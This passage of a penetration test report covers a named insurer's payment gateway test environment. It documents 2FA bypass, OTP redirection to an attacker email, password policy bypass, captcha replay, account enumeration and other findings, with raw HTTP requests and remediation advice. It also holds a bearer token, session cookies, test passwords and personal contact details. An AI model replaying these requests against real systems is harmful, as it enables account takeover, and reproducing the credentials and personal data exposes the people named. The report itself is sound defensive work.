| Retest Notes | 06/05/2019 – Open:  The application utilizes Base64 encoding to pass the username along in the header. This is insufficient protection as Base64 can be easily reversed to achieve 2FA bypass.  **HTTP Request 1:**   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/otp/send HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  usernm: XBqYWM=dGhvb  [SNIP]  Cache-Control: no-cache  {  "channel": "email"  } |   **HTTP Response 1:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 17:59:34 GMT  [SNIP]  Connection: close  Content-Length: 71  {"secureAuthResponse":{"adhocOTPAudit":{"status":"valid"},"count":"4"}} |   **HTTP Request 2:**   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/otp/validate HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  usernm: XBqYWM=dGhvb  [SNIP]  Pragma: no-cache  Cache-Control: no-cache  {  "otp": "829933"  } |   **HTTP Response 2:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 18:00:00 GMT  [SNIP]  Content-Length: 226  {"valid":"true","secureAuthResponse":{"throttleAudit":{"status":"found"},"validateOtpAudit":{"status":"valid","message":"6/5/2019 5:59:35 PM"},"usersAudit":{"status":"found"}},"validateOtpToken":"XBqYWN2YWxpZGF0ZW90cA==dGhvb"} | |
| The tester was able to redirect the one time password to an email that is not registered with the user account by changing the recovery contact as seen in the following request.  Request:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/otp/send HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  {  "channel": "email",  "recoveryContact": “hacker@gmail.com” #OTP is sent to email not registered with account  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"secureAuthResponse":{"adhocOTPAudit":{"status":"valid"},"count":"2"}} | | |

|  |  |
| --- | --- |
| H3 – Weak Password Policy – Open | |
| CVSS Score and Link | [7.3](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) |
| CWE | CWE-521: Weak Password Requirements |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/changePassword |
| Description | The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts. |
| Recommendations | Phase (Architecture and Design) - Enforce usage of strong passwords.  At a minimum per Anthem's security policy (IAM.41-P05.S23), the following password maintenance requirements apply to the creation, use, and maintenance of passwords associated with eBusiness customer accounts:   * Minimum Password Length - eight (8) Characters * Password should be case sensitive * Password history retention - Not Required * Number of different character sets required (alphabetic, numeric) – two (2) * Password cannot be the same as the Username * Password cannot contain 3 or more consecutive characters of the Username. * Password cannot consecutively repeat a character or number more than twice. * Password cannot contain spaces. * Password cannot contain invalid characters. * Passwords must be masked when entered on the screen. |
| Retest Notes | **06/05/2019 – Open:**  The application has employed client-side validation to check the users password, however the lack of server-side validation allows for password policy to be bypassed. One example is demonstrated in the below HTTP request and response (Password cannot be the same as the Username).  **HTTP Request:**   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0aG9tcGphYzQ4LWdiZGFwcHNlY3VyZSIsImlhdCI6MTU1OTc1ODYxMH0.aVUq0lehTS0NRYKJ4QSRVzwPfU1eDyeldS0X4JiYuJM  [SNIP]  Cache-Control: no-cache  {  "currentPassword": "password2",  "newPassword": "thompjac48"  } |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 18:20:14 GMT  [SNIP]  Connection: close  Content-Length: 21  {"changeStatus":true} | |
| During the manual assessment, the tester found that the application does not enforce Anthem’s minimum password security policy (IAM.41-P05.S23). The tester was able to change his password successfully violating the following policy requirements:  **Minimum Password Length - eight (8) Characters**  The tester was able to set a new password with only 6 characters as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: TesterMpt0  **[SNIP]**  {  "userName": "TesterMpt0",  "dn": "CN=TesterMpt0,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "117b3a5a-687e-45a8-9c97-8ebe0453db07",  "currentPassword": "TesterMpt0",  "newPassword": "Anthem"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"changeStatus":true} |   **Number of different character sets required (alphabetic, numeric) – two (2)**  The tester was able to set a new password with only alphabetic characters as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: TesterMpt0  **[SNIP]**  {  "userName": "TesterMpt0",  "dn": "CN=TesterMpt0,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "117b3a5a-687e-45a8-9c97-8ebe0453db07",  "currentPassword": " Password1",  "newPassword": " Password"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"changeStatus":true} |   **Password cannot be the same as the Username**  The tester was able to set a new password using his own username as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: TesterMpt0  **[SNIP]**  {  "userName": "TesterMpt0",  "dn": "CN=TesterMpt0,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "117b3a5a-687e-45a8-9c97-8ebe0453db07",  "currentPassword": " Password",  "newPassword": " TesterMpt0"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"changeStatus":true} |   **Password cannot contain 3 or more consecutive characters of the Username**  The tester was able to set a new password repeating more than 3 consecutive characters of the username as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: TesterMpt0  **[SNIP]**  {  "userName": "TesterMpt0",  "dn": "CN=TesterMpt0,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "117b3a5a-687e-45a8-9c97-8ebe0453db07",  "currentPassword": " Password ",  "newPassword": " TesterMpt0"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"changeStatus":true} |   **Password cannot consecutively repeat a character or number more than twice**  The tester was able to set a new password repeating more than 3 consecutive characters as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: TesterMpt0  **[SNIP]**  {  "userName": "TesterMpt0",  "dn": "CN=TesterMpt0,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "117b3a5a-687e-45a8-9c97-8ebe0453db07",  "currentPassword": " Anthem",  "newPassword": " Anthemmmm"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"changeStatus":true} |   **Password cannot contain spaces**  The tester was able to set a new password containing a space as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  UserName: TesterMpt0  **[SNIP]**  {  "userName": "TesterMpt0",  "dn": "CN=TesterMpt0,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "117b3a5a-687e-45a8-9c97-8ebe0453db07",  "currentPassword": " Anthemmmm ",  "newPassword": " An themmmm"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"changeStatus":true} | | |

|  |  |
| --- | --- |
| H4 – Improper Behavioral Workflow – Open | |
| CVSS Score and Link | [7.2](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L) |
| CWE | CWE-841: Improper Enforcement of Behavioral Workflow |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/register/createuser  payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/getUserIdDetails |
| Description | The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence. |
| Recommendations | By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses. For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer. Note that this is different than CWE-696, which focuses on when the software performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.  Workflow-related behaviors include:   * Steps are performed in the expected order * Required steps are not omitted * Steps are not interrupted * Steps are performed in a timely fashion. |
| Retest Notes |  |
| The tester noted that the application does not properly enforces behavioral workflows. The following set of request/response combinations show the behavioral workflows bypassed by the tester:  **Captcha Bypass:**  The tester was able to bypass the Captcha control put in place by the application to validate human interaction when creating a new user. Under normal circumstances, the application requires users to complete the Captcha before creating a new user. However, the tester was able to bypass this requirement by replaying the final API call as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/register/createuser HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  {  "userName": "DanielUAT10",  "password": "Anthem4321",  "firstName": "Chemo",  "lastName": "Aguirre",  "orgName": "NA",  "orgType": "WPNT\_TRW",  "phoneNumber": "3172948492",  "emailAddress": **[SNIP]**,  "secretQuestionAnswers": [  {  "question": "What school did you attend for the third grade?",  "answer": "AAAA"  },  {  "question": "What is your paternal grandfather's first name?",  "answer": "AAAA"  },  {  "question": "What is the first name of your favorite childhood friend?",  "answer": "AAAA"  }  ]  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Content-Length: 25  {"createUserStatus":true} |   **Username Disclosure:**  When using the “Forgot Username” feature, the application asks user’s security questions and uses 2FA to validate the user requesting the username information. However, the tester noted that the application returns the username after the first request completely circumventing this security mechanism as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/getUserIdDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  Referer: https://payment.sit2.va.anthem.com/gofundindv/forgotusername  Content-Type: application/json  **[SNIP]**  {  "firstName": "Lorna",  "lastName": "Pepe",  "phoneNumber": **[SNIP]**,  "emailAddress": "nomailno@nomailnoo.com"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  {"user":{"username":"TesterMpt17","firstName":"Lorna","lastName":"Pepe","phoneNumber":"3179703970","authFlag":true}} | | |

|  |  |
| --- | --- |
| H5 – Privilege Escalation – Open | |
| CVSS Score and Link | [9.8](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-285: Improper Authorization |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/changePassword  **Unable to retest from C1**  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/submitTPCPayment (unable to retest)  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/cancelTPCPayment (unable to retest)  payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCRecurringPayments (unable to retest) |
| Description | The application allows users to access resources that they should not have permission to access. This is due to improper authorization of user requests. The application relies on the assumption that the user will request only those portions they are authorized to access, rather than validating and authenticating every user request. |
| Recommendations | The application should perform server-side authorization for all requests. Do not assume that a request is permissible because the request comes from an authenticated user. It is also necessary to verify that the user making the request has the necessary privileges (is authorized) to make such a request. Unauthorized requests should be denied. Do not rely on client-side values or code to decide which functionality is available to users; users can manipulate client-side data and functionality. Such functionality should be validated by querying a session object, database, or some other information that users cannot directly modify. Developers should treat client-supplied input as untrusted and not rely on presentation logic to provide higher-level privileges. Logic running on the server should be used to determine a user's role and present the appropriate browser screens. Hiding or disabling functionality solely within the user interface is not secure.  References:   * OWASP Top 10 A7 – Missing Function Level Access Control ([https://www.owasp.org/index.php/Top\_10\_2013-A7-Missing\_Function\_Level\_Access\_Control)](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control) |
| Retest Notes |  |
| **Update Password**  The tester found that the update password functionality is not fix at all endpoints. It is still vulnerable using the forgot password function. The following request/response combination shows the vulnerable feature using the forgot password functionality:  **HTTP Request:**   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Referer: https://payment.sit2.va.anthem.com/gofundindv/resetpassword  Content-Length: 93  Connection: close  Pragma: no-cache  Cache-Control: no-cache  {  "userName": "thompjac",  "currentPassword": "fu9q65nobv",  "newPassword": "[SNIP]"  } |   **HTTP Response:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 14:56:01 GMT  [SNIP]  Content-Length: 57  {"errorMessage":"WRONGCURRPASSWORD","changeStatus":false} | | |

# *Medium-Risk Findings*

|  |  |
| --- | --- |
| M1 – Account Enumeration – Open | |
| CVSS Score and Link | [5.8](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N) |
| CWE | CWE-204: Response Discrepancy Information Exposure |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/validateRegisterUserDetails  payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/changePassword |
| Description | The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not. |
| Recommendations | **Phase: Architecture and Design**  Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges  **Phase: Implementation**  Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. |
| Retest Notes | **05/08/2019 - Open:**  The tester did not find any change in the ability to enumerate user accounts. The following request/response combination shows the ability to enumerate users:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/validateRegisterUserDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  Cookie: s\_vi=[CS]v1|2E6031640507BC23-40000112C0000C6D[CE]; SMLOCALE=en-US,en; ant=!Tjd+CLGtKuTXm14e+NzyGHDgWPn1gzS7+Xt3jjNrWTN9utxTOs/u30td5pvNEEKntPVsOlRMqQmpQA==; SMSESSION=LOGGEDOFF  {  "userName": "AaronSIT3",  "emailId": "aaronrhoades19@yahoo.com",  "phoneNo": "3179371250"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Content-Language: en-US  Connection: close  Content-Length: 63  {"userNameFound":false,"emailIdFound":true,"phoneNoFound":true} | |
| During testing, the tester noted that the application returns boolean values to denote whether or not the user provided information already exists. As seen on the following request/response combination, the application returns true/false flags for the username, email address and phone number fields:  Request:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/validateRegisterUserDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  Cookie: WT\_FPC=id=292fd415747a9dd0bba1554924371946:lv=1555355260782:ss=1555355176805; SMSESSION=LOGGEDOFF; ant=!BculkalitHwwDXke+NzyGHDgWPn1g8KAzFYRxpVU8oqZssLPDAt2SCzMcId37kFilTpqbgoKj4/Tmg==; SMLOCALE=en-US,en  {  "userName": "NoUser",  "emailId": "nomail@nomail.com",  "phoneNo": "1231234567"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Content-Language: en-US  Connection: close  Content-Length: 65  {"userNameFound":false,"emailIdFound":false,"phoneNoFound":false} |   It is important to note that there is no authentication required nor lockout mechanism which allows an attacker to brute-force user information. The tester was able to guess a valid username by trying different combinations as seen in the following request/response combinations:  **Attempt #1**  Request 1:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/validateRegisterUserDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  Cookie: WT\_FPC=id=292fd415747a9dd0bba1554924371946:lv=1555355260782:ss=1555355176805; SMSESSION=LOGGEDOFF; ant=!BculkalitHwwDXke+NzyGHDgWPn1g8KAzFYRxpVU8oqZssLPDAt2SCzMcId37kFilTpqbgoKj4/Tmg==; SMLOCALE=en-US,en  {  "userName": "appsec",  "emailId": "nomail@nomail.com",  "phoneNo": "1231234567"  } |   Response 1:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Connection: close  Content-Length: 65  {"userNameFound":false,"emailIdFound":false,"phoneNoFound":false} |   **Attempt #2**  Request 2:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/validateRegisterUserDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  **{SNIP]**  Cookie: WT\_FPC=id=292fd415747a9dd0bba1554924371946:lv=1555355260782:ss=1555355176805; SMSESSION=LOGGEDOFF; ant=!BculkalitHwwDXke+NzyGHDgWPn1g8KAzFYRxpVU8oqZssLPDAt2SCzMcId37kFilTpqbgoKj4/Tmg==; SMLOCALE=en-US,en  {  "userName": "appsec1",  "emailId": "nomail@nomail.com",  "phoneNo": "1231234567"  } |   Response 2:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Connection: close  Content-Length: 65  {"userNameFound":false,"emailIdFound":false,"phoneNoFound":false} |   **Attempt #3**  Request 3:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/validateRegisterUserDetails HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  Cookie: WT\_FPC=id=292fd415747a9dd0bba1554924371946:lv=1555355260782:ss=1555355176805; SMSESSION=LOGGEDOFF; ant=!BculkalitHwwDXke+NzyGHDgWPn1g8KAzFYRxpVU8oqZssLPDAt2SCzMcId37kFilTpqbgoKj4/Tmg==; SMLOCALE=en-US,en  {  "userName": "appsec2",  "emailId": "nomail@nomail.com",  "phoneNo": "1231234567"  } |   Response 3:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  Connection: close  Content-Length: 64  {"userNameFound":true,"emailIdFound":false,"phoneNoFound":false} |   **changePassword (previously C2):**  This evidence was previously part of C2. The functionality for password resets can also be used to enumerate usernames. This is demonstrated in the below HTTP requests and responses.  **HTTP Request 1:**   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Content-Type: application/json; charset=UTF-8  Referer: https://payment.sit2.va.anthem.com/gofundindv/resetpassword  [SNIP]  {  "userName": "thomp",  "currentPassword": "[SNIP]",  "newPassword": "[SNIP]"  } |   **HTTP Response 1:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 16:37:07 GMT  [SNIP]  Content-Length: 52  {"errorMessage":"USERNOTFOUND","changeStatus":false} |   **HTTP Request 2:**   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/account/changePassword HTTP/1.1  Host: payment.sit2.va.anthem.com  [SNIP]  Content-Type: application/json; charset=UTF-8  Referer: https://payment.sit2.va.anthem.com/gofundindv/resetpassword  [SNIP]  {  "userName": "thompjac",  "currentPassword": "[SNIP]",  "newPassword": "[SNIP]"  } |   **HTTP Response 2:**   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 05 Jun 2019 16:43:53 GMT  [SNIP]  Content-Length: 57  {"errorMessage":"WRONGCURRPASSWORD","changeStatus":false} | | |

# 

|  |  |
| --- | --- |
| M2 – Frameable Response/Clickjacking – Open | |
| CVSS Score and Link | [5.4](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) |
| CWE | CWE-693: Protection Mechanism Failure |
| Affected Systems | systemic |
| Description | The applications allows itself to be loaded into a frame. Risk: If a page fails to set an appropriate X-Frame-Options or Content-Security-Policy HTTP header, it might be possible for a page controlled by an attacker to load it within an iframe. This may enable a clickjacking attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.  References:   * OWASP: Clickjacking (<https://www.owasp.org/index.php/Clickjacking)> |
| Recommendations | There are two ways of fixing the Clickjacking vulnerability:   1. (RECOMMENDED) X-FRAME-OPTIONS Response Header: This header determines if the browser is allowed to render a page in a frame or an iframe. The application can thus make sure that the malicious websites are not loading its content inside their frames. There are 3 possible values for the header:    1. DENY - which denies framing of the content by all domains, including current site    2. SAMEORIGIN - only the current site can frame the content    3. ALLOW-FROM <uri> - which allows the specified URI to frame the content.   ALL the HTTP responses should have this header set to an appropriate value to prevent Clickjacking.   1. Content-Security-Policy Response Header: The 'frame-ancestors' directive in this header works in the same way as X-FRAME-OPTIONS header. It tells the browser whether to render the page in a frame/iframe or not. There are 3 possible values here as well:    1. 'none' - which prevents any domain from framing the content    2. 'self' - which allows only current site to frame the content    3. 'self','uri' - which allows the current site and the mentioned URI to frame the content.   References:   * Mozilla Developer Network (<https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options>) (<https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP>) * OWASP (<https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet)> |
| Retest Notes |  |
| During the manual assessment, the tester noted that the application does not set the ‘X-Frame-Options’ or ‘Content-Security-Policy’ HTTP header. See below  Request:   |  | | --- | | GET /sgofundindv/index.html HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate  Referer: https://payment.sit2.va.anthem.com/gofundindv/resetpassword  Connection: close  **[SNIP]** |   Response:   |  | | --- | | HTTP/1.1 200 OK  **[SNIP]**  <!DOCTYPE html><html lang="en"><head><base href="/sgofundindv/"><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>Third Party Payment Center</title><meta name="description" content=""><meta name="viewport" content="width=device-width,initial-scale=1,max-scale=1,user-scalable=no"><meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate"><meta http-equiv="Pragma" content="no-cache"><meta http-equiv="Expires" content="0"><link rel="shortcut icon" href=""><link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans"><link rel="stylesheet" href="/sgofundindv/css/main.css?1552475060448"></head><body style="overflow: auto"><tpc-app></tpc-app><script defer="defer"></script><script>function module(){}</script><script src="/sgofundindv/js/shims.js?1552475060443"></script><script src="/sgofundindv/js/app.js?1552475060445"></script></body></html> |   As seen from the previous request/response combination, the application does not set the “X-Frame-Options” or “Content-Security-Policy” header. The tester was able to construct a POC to show how the application allows itself to be overlaid. The following screenshot shows the successful Clickjack POC output: | |

|  |  |
| --- | --- |
| M3 – Security Questions Exposure – Open | |
| CVSS Score and Link | [5.3](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| CWE | CWE-203: Information Exposure Through Discrepancy |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser |
| Description | The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not. |
| Recommendations | Phase (Architecture and Design) - Strategy (Separation of Privilege):  Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary. |
| Retest Notes |  |
| During the assessment, the tester noted that the application returned the security questions and the encrypted answers in the immediate response. No authentication was required. The following request/response combination shows the sensitive information returned in the immediate response:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/account/modifyUser HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  {  "userName": "appSec3",  "dn": "CN=appSec3,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com",  "iamGuid": "3c43a064-5eff-46a9-acff-2ed81001096e",  "attributes": [  {  "attributeName": "FIRST\_NAME",  "attributeValue": "Aaaron"  },  {  "attributeName": "LAST\_NAME",  "attributeValue": "Rrhoades"  }  ]  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Tue, 16 Apr 2019 19:34:01 GMT  Set-Cookie: **[SNIP]**  {"modified":true,"user":{"emailAddress":"**[SNIP]**","username":"appSec3","iamGuid":"3c43a064-5eff-46a9-acff-2ed81001096e","firstName":"Aaaron","lastName":"Rrhoades","dn":"CN=appSec3,OU=tppcomm,OU=webUsers,OU=usersAndGroups,DC=webdevad,DC=wellpoint,DC=com","repositoryEnum":"IAM","userRoleEnum":"GOFUNDCOMMERCIAL","userAccountStatus":{"disabled":false,"locked":false,"forceChangePassword":false,"badSecretAnsCount":0,"badPasswordCount":2,"lastLoginTime":null,"comments":null,"userNameValid":false,"secretQuestionValid":false},"memberOf":[],"ssoID":[],"secretQuestionAnswers":[{"question":"What school did you attend for the third grade?","answer":"6EJso/Fz+oO90gQEZAdGr6JH89s=","encrypted":true,"questionValid":true},{"question":"What is your maternal grandmother's maiden name?","answer":"6EJso/Fz+oO90gQEZAdGr6JH89s=","encrypted":true,"questionValid":true},{"question":"What is your paternal grandfather's first name?","answer":"6EJso/Fz+oO90gQEZAdGr6JH89s=","encrypted":true,"questionValid":true}],"authFlag":false}} | | |

|  |  |
| --- | --- |
| M4 – Information Exposure via Error Message – Open | |
| CVSS Score and Link | [5.3](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| CWE | CWE-200: Information Exposure |
| Affected Systems | payment.sit2.va.anthem.com/paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCMembers |
| Description | An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. |
| Recommendations | The information either: is regarded as sensitive within the product's own functionality, such as a private message; or provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible. Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed. |
| Retest Notes |  |
| The tester noted that an error message allows member information to be enumerated in the application. The tester confirmed that the application returns an error message indicating that the information provided did not match any records as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/gofundindv/secure/v1/tpc/myaccount/updateTPCMembers HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]**  {  "hcid": "732T91187",  "userId": "appSec6",  "firstName": "FRED1",  "lastName": "ANDREWS",  "dateOfBirth": "01011980",  "zipCode": "95321",  "action": "ADD"  } |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Wed, 17 Apr 2019 15:47:30 GMT  Set-Cookie: **[SNIP]**  {"memberPayException":null,"sourceSystem":null,"message":{"messageCode":1,"messageText":null},"ackStatus":"Failed","messages":[{"messageCode":12,"messageText":"FirstName is not matching"}]} | | |

|  |  |
| --- | --- |
| M5 – Strict Transport Security Not Implemented – Open | |
| CVSS Score and Link | [4.8](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N) |
| CWE | CWE-319: Cleartext Transmission of Sensitive Information |
| Affected Systems | systemic |
| Description | The application does not utilize the Strict Transport Security header to instruct browsers to not allow plain text submission of data to the application. Risk: An attacker can modify clear text traffic (HTTP) to replace links to encrypted application resources (HTTPS). When a modified link is loaded by a user, the attacker communicates with the web application via encrypted protocols (HTTPS) on behalf of the user while maintaining unencrypted (HTTP) communication with the user. This technique is used to bypass the SSL certificate validation process and results in full disclosure of all information transmitted, including username and password. This is mitigated by the strict enforcement of SSL by the application.  References:   * OWASP: HTTP Strict Transport Security (<https://www.owasp.org/index.php/HTTP_Strict_Transport_Security>) |
| Recommendations | In order to implement Strict Transport Security: Ensure all application components uses HTTPS, in lieu of SSL mixed content (both HTTP and HTTPS). Utilize the HTTP Strict Transport Security header on web servers:   * Strict-Transport-Security: max-age=10886400; includeSubDomains; preload |
| Retest Notes |  |
